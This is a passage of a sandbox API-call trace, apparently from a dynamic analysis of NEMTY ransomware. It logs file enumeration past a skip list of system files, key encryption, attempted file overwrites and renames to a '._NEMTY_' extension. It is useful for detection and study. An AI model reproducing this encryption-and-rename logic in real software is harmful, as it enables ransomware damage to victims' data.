dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.131] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94420 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0086.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0086.132] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="shatter.png", cAlternateFileName="")) returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2=".") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="..") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="...") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="windows") returned -1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="$RECYCLE.BIN") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="rsa") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="NTDETECT.COM") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="ntldr") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="MSDOS.SYS") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="IO.SYS") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="boot.ini") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="boot.ini") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="AUTOEXEC.BAT") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="ntuser.dat") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="desktop.ini") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="CONFIG.SYS") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="RECYCLER") returned 1 [0086.132] lstrcmpiW (lpString1="shatter.png", lpString2="BOOTSECT.BAK") returned 1 [0086.133] lstrcmpiW (lpString1="shatter.png", lpString2="bootmgr") returned 1 [0086.133] lstrcmpiW (lpString1="shatter.png", lpString2="programdata") returned 1 [0086.133] lstrcmpiW (lpString1="shatter.png", lpString2="appdata") returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shatter.png", lpUsedDefaultChar=0x0) returned 11 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shatter.png", lpUsedDefaultChar=0x0) returned 11 [0086.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shatter.png", lpUsedDefaultChar=0x0) returned 11 [0086.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0086.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shatter.png", lpUsedDefaultChar=0x0) returned 11 [0086.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0086.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0086.133] Sleep (dwMilliseconds=0x5) [0086.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6fdad70, dwHighDateTime=0x1d561e7)) [0086.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe6fdad70, dwHighDateTime=0x1d561e7)) [0086.141] GetLastError () returned 0x5 [0086.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0086.141] GetLastError () returned 0x5 [0086.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0086.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0086.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0086.141] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0086.141] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0086.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0086.141] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="OGGnl3whmjQeN3Bw+LnYk7Put4rMWkIv5K4kkPmdRQrzgR29iXq8PgX3FM1ak79I\r\n6xO2fczpxJbv08zsYnMKoLZbQNTFZ0mBJFOXuVkgl+ZLhZ94KIs7NPI6bHe1+dkF\r\nSgiqO6PNFFOhrdaJzeqXktgOnkt3JLyMaJY9z8E+Z6mJ4ofOY4VsjOJQ8zAyOq2Y\r\nSRNbXujwdxVoTS6jRAO1or9SyNFzrX7et5cRTba1CGFv5s4gpF8jAvfIKpjHwsaf\r\ndP56TU6fhkqert3qnDIkBOt2yT8iHnLtP80zJ8/qvXOtRM92kibTz/oonfBv5Fej\r\nsif8CTNwUI1vIh7BLjmXFw==\r\n", pcchString=0x653e91c) returned 1 [0086.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0086.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0086.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0086.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0086.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0086.142] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.142] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0086.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0086.142] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.142] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.151] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.151] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.194] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.194] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.194] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0086.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0086.262] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0086.262] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0086.262] CloseHandle (hObject=0xffffffff) returned 0 [0086.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340240 [0086.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0086.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0086.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0086.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0086.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0086.263] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63402c8 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0086.263] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png._nemty_kgobjgd_")) returned 0 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402c8 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0086.263] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0086.263] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe667b6d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe667b6d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe667b6d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0086.263] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0086.264] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0086.264] lstrcmpiW 